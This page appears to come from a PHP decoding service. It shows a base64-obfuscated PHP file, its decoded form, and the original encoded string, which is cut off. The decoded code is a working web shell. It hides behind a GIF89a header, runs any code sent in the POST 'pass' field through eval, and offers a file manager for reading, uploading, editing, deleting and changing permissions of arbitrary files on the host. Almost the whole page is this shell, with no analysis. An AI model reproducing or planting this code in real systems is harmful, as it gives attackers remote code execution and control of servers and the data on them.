Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>" . base64_decode("Z2lmODlhPD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+Cjw/cGhwC..

Decoded Output download

?>b'gif89a<?php eval($_POST[\'pass\']);?>
<?php
ini_set(\'display_errors\',\'On\');
error_reporting(E_ALL);
set_time_limit(0);
error_reporting(0);

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
echo \'<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Webshell</title>
<style>
body{
    font-family: "Racing Sans One", cursive;
    background-color: #e6e6e6;
    text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}
#content .first{
    background-color: silver;
}
#content .first:hover{
    background-color: silver;
    text-shadow:0px 0px 1px #757575;
}
table{
    border: 1px #000000 dotted;
}
H1{
    font-family: "Rye", cursive;
}
a{
    color: #000;
    text-decoration: none;
}
a:hover{
    color: #fff;
    text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</HEAD>
<BODY>
<center>
<tr><td>Current Path : \';
if(isset($_GET[\'path\'])){
    $path = $_GET[\'path\'];   
}else{
    $path = getcwd();
}
$path = str_replace(\'\\',\'/\',$path);
$paths = explode(\'/\',$path);

foreach($paths as $id=>$pat){
    if($pat == \'\' && $id == 0){
        $a = true;
        echo \'<a href="?path=/">/</a>\';
        continue;
    }
    if($pat == \'\') continue;
    echo \'<a href="?path=\';
    for($i=0;$i<=$id;$i++){
        echo "$paths[$i]";
        if($i != $id) echo "/";
    }
    echo \'">\'.$pat.\'</a>/\';
}
echo \'</td></tr><tr><td>\';
if(isset($_FILES[\'file\'])){
    if(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){
        echo \'<font color="green">File Upload Done.</font><br />\';
    }else{
        echo \'<font color="red">File Upload Error.</font><br />\';
    }
}
echo \'<b><br><br>\'.php_uname().\'<br></b><br>\';
echo \'<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>\';
if(isset($_GET[\'filesrc\'])){
    echo "<tr><td>Current File : ";
    echo $_GET[\'filesrc\'];
    echo \'</tr></td></table><br />\';
    echo(\'<pre>\'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</pre>\');
}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){
    echo \'</table><br /><center>\'.$_POST[\'path\'].\'<br /><br />\';
    if($_POST[\'opt\'] == \'chmod\'){
        if(isset($_POST[\'perm\'])){
            if(chmod($_POST[\'path\'],$_POST[\'perm\'])){
                echo \'<font color="green">Change Permission Done.</font><br />\';
            }else{
                echo \'<font color="red">Change Permission Error.</font><br />\';
            }
        }
        echo \'<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />
        <input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>\';
    }elseif($_POST[\'opt\'] == \'rename\'){
        if(isset($_POST[\'newname\'])){
            if(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){
                echo \'<font color="green">Change Name Done.</font><br />\';
            }else{
                echo \'<font color="red">Change Name Error.</font><br />\';
            }
            $_POST[\'name\'] = $_POST[\'newname\'];
        }
        echo \'<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="\'.$_POST[\'name\'].\'" />
        <input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>\';
    }elseif($_POST[\'opt\'] == \'edit\'){
        if(isset($_POST[\'src\'])){
            $fp = fopen($_POST[\'path\'],\'w\');
            if(fwrite($fp,$_POST[\'src\'])){
                echo \'<font color="green">Edit File Done.</font><br />\';
            }else{
                echo \'<font color="red">Edit File Error.</font><br />\';
            }
            fclose($fp);
        }
        echo \'<form method="POST">
        <textarea cols=80 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />
        <input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>\';
    }
    echo \'</center>\';
}else{
    echo \'</table><br /><center>\';
    if(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){
        if($_POST[\'type\'] == \'dir\'){
            if(rmdir($_POST[\'path\'])){
                echo \'<font color="green">Delete Dir Done.</font><br />\';
            }else{
                echo \'<font color="red">Delete Dir Error.</font><br />\';
            }
        }elseif($_POST[\'type\'] == \'file\'){
            if(unlink($_POST[\'path\'])){
                echo \'<font color="green">Delete File Done.</font><br />\';
            }else{
                echo \'<font color="red">Delete File Error.</font><br />\';
            }
        }
    }
    echo \'</center>\';
    $scandir = scandir($path);
    echo \'<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr>\';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;
        echo "<tr>
        <td><a href=\"?path=$path/$dir\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo \'<font color="green">\';
        elseif(!is_readable("$path/$dir")) echo \'<font color="red">\';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';
        
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).\' MB\';
        }else{
            $size = $size.\' KB\';
        }

        echo "<tr>
        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo \'<font color="green">\';
        elseif(!is_readable("$path/$file")) echo \'<font color="red">\';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo \'</table>
    </div>\';
}
echo \'<br />
</BODY>
</HTML>\';
function perms($file){
    $perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = \'p\';
} else {
    // Unknown
    $info = \'u\';
}

// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? \'s\' : \'x\' ) :
            (($perms & 0x0800) ? \'S\' : \'-\'));

// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? \'s\' : \'x\' ) :
            (($perms & 0x0400) ? \'S\' : \'-\'));

// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? \'t\' : \'x\' ) :
            (($perms & 0x0200) ? \'T\' : \'-\'));

    return $info;
}
?>'

Did this file decode correctly?

Original Code

<?php eval("?>" . base64_decode("Z2lmODlhPD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+Cjw/cGhwCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywnT24nKTsKZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsKc2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKICAgICAgICAkX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsKICAgIH0KfQplY2hvICc8IURPQ1RZUEUgSFRNTD4KPEhUTUw+CjxIRUFEPgo8bGluayBocmVmPSIiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8dGl0bGU+V2Vic2hlbGw8L3RpdGxlPgo8c3R5bGU+CmJvZHl7CiAgICBmb250LWZhbWlseTogIlJhY2luZyBTYW5zIE9uZSIsIGN1cnNpdmU7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZTZlNmU2OwogICAgdGV4dC1zaGFkb3c6MHB4IDBweCAxcHggIzc1NzU3NTsKfQojY29udGVudCB0cjpob3ZlcnsKICAgIGJhY2tncm91bmQtY29sb3I6ICM2MzYyNjM7CiAgICB0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjsKfQojY29udGVudCAuZmlyc3R7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7Cn0KI2NvbnRlbnQgLmZpcnN0OmhvdmVyewogICAgYmFja2dyb3VuZC1jb2xvcjogc2lsdmVyOwogICAgdGV4dC1zaGFkb3c6MHB4IDBweCAxcHggIzc1NzU3NTsKfQp0YWJsZXsKICAgIGJvcmRlcjogMXB4ICMwMDAwMDAgZG90dGVkOwp9CkgxewogICAgZm9udC1mYW1pbHk6ICJSeWUiLCBjdXJzaXZlOwp9CmF7CiAgICBjb2xvcjogIzAwMDsKICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQphOmhvdmVyewogICAgY29sb3I6ICNmZmY7CiAgICB0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsKfQppbnB1dCxzZWxlY3QsdGV4dGFyZWF7CiAgICBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOwogICAgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7CiAgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6NXB4OwogICAgYm9yZGVyLXJhZGl1czo1cHg7Cn0KPC9zdHlsZT4KPC9IRUFEPgo8Qk9EWT4KPGNlbnRlcj4KPHRyPjx0ZD5DdXJyZW50IFBhdGggOiAnOwppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107ICAgCn1lbHNlewogICAgJHBhdGggPSBnZXRjd2QoKTsKfQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOwoKZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsKICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICRhID0gdHJ1ZTsKICAgICAgICBlY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7CiAgICAgICAgY29udGludWU7CiAgICB9CiAgICBpZigkcGF0ID09ICcnKSBjb250aW51ZTsKICAgIGVjaG8gJzxhIGhyZWY9Ij9wYXRoPSc7CiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgIGVjaG8gIiRwYXRoc1skaV0iOwogICAgICAgIGlmKCRpICE9ICRpZCkgZWNobyAiLyI7CiAgICB9CiAgICBlY2hvICciPicuJHBhdC4nPC9hPi8nOwp9CmVjaG8gJzwvdGQ+PC90cj48dHI+PHRkPic7CmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7CiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5GaWxlIFVwbG9hZCBEb25lLjwvZm9udD48YnIgLz4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RmlsZSBVcGxvYWQgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICB9Cn0KZWNobyAnPGI+PGJyPjxicj4nLnBocF91bmFtZSgpLic8YnI+PC9iPjxicj4nOwplY2hvICc8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPgpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIiAvPgo8L2Zvcm0+CjwvdGQ+PC90cj4nOwppZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7CiAgICBlY2hvICI8dHI+PHRkPkN1cnJlbnQgRmlsZSA6ICI7CiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICBlY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOwogICAgZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpewogICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CiAgICBpZigkX1BPU1RbJ29wdCddID09ICdjaG1vZCcpewogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBQZXJtaXNzaW9uIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICBQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPgogICAgICAgIDwvZm9ybT4nOwogICAgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICBpZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmV3bmFtZSddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBOYW1lIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIE5hbWUgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICBOZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4KICAgICAgICA8L2Zvcm0+JzsKICAgIH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkVkaXQgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkVkaXQgRmlsZSBFcnJvci48L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICA8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPgogICAgICAgIDwvZm9ybT4nOwogICAgfQogICAgZWNobyAnPC9jZW50ZXI+JzsKfWVsc2V7CiAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSA9PSAnZGVsZXRlJyl7CiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2RpcicpewogICAgICAgICAgICBpZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRGlyIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIERpciBFcnJvci48L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgfQogICAgICAgIH1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKICAgICAgICAgICAgaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBGaWxlIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgIGVjaG8gJzxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+CiAgICA8dHIgY2xhc3M9ImZpcnN0Ij4KICAgICAgICA8dGQ+PGNlbnRlcj5OYW1lPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj5TaXplPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uczwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+T3B0aW9uczwvY2VudGVyPjwvdGQ+CiAgICA8L3RyPic7CgogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsKICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICBlY2hvICI8dHI+CiAgICAgICAgPHRkPjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPi0tPC9jZW50ZXI+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj4iOwogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsKICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7CiAgICAgICAgZWNobyBwZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgIGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgIAogICAgICAgIGVjaG8gIjwvY2VudGVyPjwvdGQ+CiAgICAgICAgPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPgogICAgICAgIDxzZWxlY3QgbmFtZT1cIm9wdFwiPgoJICAgIDxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+CiAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+CiAgICAgICAgPC9mb3JtPjwvY2VudGVyPjwvdGQ+CiAgICAgICAgPC90cj4iOwogICAgfQogICAgZWNobyAnPHRyIGNsYXNzPSJmaXJzdCI+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PC90cj4nOwogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOwogICAgICAgICRzaXplID0gZmlsZXNpemUoIiRwYXRoLyRmaWxlIikvMTAyNDsKICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgIGlmKCRzaXplID49IDEwMjQpewogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQsMikuJyBNQic7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7CiAgICAgICAgfQoKICAgICAgICBlY2hvICI8dHI+CiAgICAgICAgPHRkPjxhIGhyZWY9XCI/ZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+PC90ZD4KICAgICAgICA8dGQ+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPiI7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsKICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgIGVjaG8gcGVybXMoIiRwYXRoLyRmaWxlIik7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsKICAgICAgICBlY2hvICI8L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4KICAgICAgICA8c2VsZWN0IG5hbWU9XCJvcHRcIj4KCSAgICA8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJlZGl0XCI+RWRpdDwvb3B0aW9uPgogICAgICAgIDwvc2VsZWN0PgogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImZpbGVcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRmaWxlXCI+CiAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPgogICAgICAgIDwvZm9ybT48L2NlbnRlcj48L3RkPgogICAgICAgIDwvdHI+IjsKICAgIH0KICAgIGVjaG8gJzwvdGFibGU+CiAgICA8L2Rpdj4nOwp9CmVjaG8gJzxiciAvPgo8L0JPRFk+CjwvSFRNTD4nOwpmdW5jdGlvbiBwZXJtcygkZmlsZSl7CiAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwoKaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgewogICAgLy8gU29ja2V0CiAgICAkaW5mbyA9ICdzJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgewogICAgLy8gU3ltYm9saWMgTGluawogICAgJGluZm8gPSAnbCc7Cn0gZWxzZWlmICgoJ